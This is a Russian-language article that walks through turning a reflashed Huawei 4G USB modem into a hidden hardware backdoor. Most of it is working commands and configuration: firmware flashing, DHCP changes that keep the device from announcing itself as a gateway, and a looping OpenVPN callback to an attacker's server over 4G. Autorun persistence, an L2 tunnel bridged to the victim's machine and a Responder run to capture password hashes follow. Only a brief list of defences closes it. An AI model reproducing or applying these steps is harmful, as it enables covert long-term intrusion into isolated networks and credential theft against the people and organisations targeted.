Атака на систему через USB-модем
MatrixЗадумывался ли ты о том, что современные 4G-модемы (HiLink) — это устройства чуть больше флешки с настоящим Linux внутри? Например, Android 2.3 / Linux 3.4.5 + VxWorks v6.8 для GSM. Это полностью автономные устройства с питанием по USB. Сразу после подключения к компьютеру ОС модема за несколько секунд загружается и эмулирует свой USB как сетевую карту.
Для описываемой в этой статье атаки лучшим аппаратным решением будет непосредственно сам HiLink-модем: он компактен и имеет 4G-модуль. Это может быть, например, популярный Huawei E3372h-153, который позволяет сделать перепрошивку, к тому же у него богатая поддержка сообществом энтузиастов.
Современные 4G-модемы представляют собой HiLink-модемы, то есть они определяются в системе как сетевая карта. Для ОС ПК пользователя максимально удобно взаимодействовать с интернетом через такую виртуальную Ethernet-сеть. Но в то же время и сам модем может использоваться для взаимодействия с компьютером, к которому он подключен. Внутри модема работает полноценная ОС, которая так же, как было продемонстрировано с BadUSB-ETH, эмулирует сетевую карту. Схема закрепления на скомпрометированной машине при помощи такого устройства показана на следующем рисунке.
Для закрепления в похожих обстоятельствах существует готовый девайс под названием LAN Turtle, однако он лишен важной особенности — поддержки стороннего 4G-канала.
РЕАЛИЗАЦИЯ
Само устройство настолько удачно подходит для организации удаленного доступа, что понадобится минимум изменений. Его главные преимущества:
- не требует дополнительного питания;
- скрытое подключение, устройство не будет видно в локальной сети, так как работает только в пределах скомпрометированного компьютера;
- автономный канал передачи данных 4G позволит иметь доступ даже внутри изолированных локальных сетей.
Для максимальной эффективности устройство потребуется немного доработать — перепрошить модем. После всех внесенных изменений ОС модема автоматически установит VPN-соединение с контрольным сервером через 4G-сеть (внешний канал) и обеспечит таким образом устойчивый сетевой доступ к ПК, в который вставлен модем. Изначально получить доступ к ОС модема можно одним из следующих способов:
telnet 192.168.8.1
adb connect 192.168.8.1:5555
Чтобы выполнить дальнейшие настройки, потребуется включить порты для AT-команд:
curl http://192.168.8.1/html/switchDebugMode.html
minicom -D /dev/ttyUSB0
После включения отладочного режима ОС модема может быть модифицирована, для этого нужно войти в режим перепрошивки и загрузить открытую прошивку:
at^godload # Переход в режим прошивки. Модем перезагрузится
sudo ./balong_flash -p /dev/ttyUSB0 E3372h-153_Update_22.200.15.00.00_M_AT_05.10_nv.exe
После запуска модем обычно эмулирует CD-ROM с драйверами плюс SD-карту. Это нужно отключить, поскольку девайсу требуется только эмуляция сети:
AT^NVWREX=50091,0,60,1 0 0 0 FF 00 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 A3 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 # Не переходить в режим CD-ROM при запуске, включен RNDIS/CDC
AT^RESET # Перезагрузка
Далее следует модифицировать сервер DHCP, чтобы модем не объявлял себя шлюзом и на компьютере не ломалась таблица маршрутизации. Модем должен подключаться максимально скрытно:
cat <<EE > /data/config
Interface br0
MinLease 30
Vendorid c0012
Address main
EnbSrv 1
Start 192.168.8.100
End 192.168.8.200
Option lease 86400
Option subnet 255.255.255.0
Address main end
EE
Теперь нужно скопировать на модем клиент OpenVPN с драйвером и конфигом. Чтобы ничего не компилировать, готовые бинарники можно скачать с сайта 4PDA:
adb push tun.ko /online/ovpn/
adb push openvpn /online/ovpn/
adb push vds.ovpn /online/ovpn/
cat <<EE > /data/vpn.sh
#!/system/bin/busybox sh
while :; do /online/ovpn/openvpn --config /online/ovpn/vds.ovpn --route-noexec; done
EE
chmod 700 /data/vpn.sh
busybox passwd
reboot
Для большей надежности обратного подключения VPN лучше запускать в бесконечном цикле. Осталось лишь настроить автозапуск всего этого добра и не забыть организовать маршрутизацию пакетов через модем от 4G-сети в сторону целевого компьютера:
mount -o remount,rw /dev/block/mtdblock16
cat <<EE >> /system/etc/autorun.sh
/data/autorun.sh &
EE
cat <<EE > /data/autorun.sh
#!/system/bin/busybox sh
killall dhcps.real
cp /data/config /var/dhcp/dhcps/config
dhcps.real &
sleep 5
insmod /online/ovpn/tun.ko
/data/vpn.sh &
iptables -t nat -A POSTROUTING -o br0 -s 172.16.0.0/24 -j MASQUERADE
iptables -I INPUT 1 -i br0 -p tcp --dport 80 -j DROP
iptables -I FORWARD 2 -i br0 -o wan0 -j DROP
EE
chmod 700 /data/autorun.sh
Также на модеме запрещен выход в 4G-интернет с ПК и прикрыта веб‑админка. Теперь модем полностью «заряжен» и готов к использованию в качестве аппаратной закладки.
ЗАКРЕПЛЕНИЕ
В результате аппаратный бэкдор может выглядеть примерно так.
Достаточно неприметно, не правда ли? Просто какая‑то большая флешка, подумает рядовой пользователь. Если у злоумышленника есть возможность добраться до USB-порта компьютера, то мало кто сразу заметит столь «странное» устройство. Это обеспечит потенциальному злоумышленнику длительный сетевой доступ к цели по автономному каналу. Заметь, что тут используется именно сторонний канал для удаленного подключения, так что больше не требуется выход в интернет из внутренней сети. Канал мобильной сети предоставляет злоумышленнику гарантированный удаленный доступ.
Телефон и LAN Turtle подключены к одному и тому же серверу VPN, который связывает их сетевой трафик. 4G-модем перенастроен так, чтобы пропускать трафик в нехарактерном обратном направлении — через себя в сторону компьютера, подобно шлюзу. Даже на расстоянии тысяч километров у злоумышленника будет прямой сетевой доступ к скомпрометированной машине.
В представленном примере телефон и ноутбук никак не связаны напрямую и работают в разных сетях. Ноутбук — в локальной сети по проводу без интернета, а телефон — по 4G. Но после добавления маршрута до компьютера жертвы через 4G-модем телефон атакующего получает удаленный доступ к ПК.
L2-ДОСТУП
Подобный способ закрепления дает сетевой доступ только до машины, к которой подключен модем. Дальнейшие действия атакующего сопряжены с необходимостью получить логический доступ, то есть взломать систему и управлять ей. В случае успеха это дает как контроль над самим компьютером, так и возможность идти дальше — вглубь локальной сети. Чтобы атаковать целевую систему было проще, может потребоваться организовать более близкий к цели L2VPN-туннель.
Необходимо пробросить еще один VPN-туннель внутри уже имеющегося. Если первый VPN использовался исключительно для связи с устройством lan_turtle
, то второй дает максимально возможный сетевой доступ до компьютера через эмулированную по USB сеть.
Для этого внутри USB-модема нужно выполнить еще несколько команд, которые создадут VPN-туннель и поместят новоиспеченный виртуальный интерфейс в сетевой мост с USB-интерфейсом:
./openvpn --config l2.ovpn --route-noexec
brctl addif br0 tap1
ifconfig tap1 0
Здесь конфигурационный файл может быть создан прямо внутри модема примерно со следующим содержимым:
l2.ovpn
lclient
proto tcp
dev tap
remote 172.16.0.10 1194
<ca>
</ca>
<cert>
</cert>
<key>
</key>
keepalive 10 60
persist-key
persist-tun
L2VPN-интерфейс будет иметь IP-адрес, который на самом деле не нужен, поскольку уже работает OpenVPN. Но его можно сбросить, после чего просто поместить интерфейс в мост. В результате в VPN-интерфейс пойдут L2-пакеты от скомпрометированной машины. И атакующий не просто получит логический сетевой доступ до целевого ПК, он будет видеть его, словно воткнулся в ПК простым интернет‑кабелем.
На стороне атакующего требуется лишь подключиться к модему и создать VPN-туннель, после чего вручную выставить ему IP-адрес из подсети сетевого адаптера компьютера жертвы:
sudo openvpn --config lan_turtle.ovpn --route-noexec
sudo ifconfig tap0 192.168.8.200/24
Конфигурационный файл для подключения к lan_turtle, чтобы открыть L2VPN-туннель, выглядит так:
lan_turtle.ovpn
local 172.16.0.10
port 1194
proto tcp
dev tap
user nobody
<ca>
</ca>
<cert>
</cert>
<key>
</key>
<dh>
</dh>
server 192.168.9.0 255.255.255.0
keepalive 10 180
verb 3
Теперь злоумышленник получит максимально полный сетевой доступ к компьютеру через 4G-модем. L2-туннель позволяет запустить атаки на проколы канального уровня, а также на NetBIOS с помощью Responder и получить хеш пароля пользователя:
responder -I tap0 -r -d -w -F
КАК ЗАЩИТИТЬСЯ
Поскольку закрепляется злоумышленник через USB-порт, меры противодействия такие же, что и в случае с BadUSB:
- использовать специализированные программные решения, чтобы блокировать недоверенные USB-устройства;
- отключить поддержку сетевых карт USB в групповых политиках;
- регулярно осматривать компьютеры;
- контролировать физический доступ к ПК.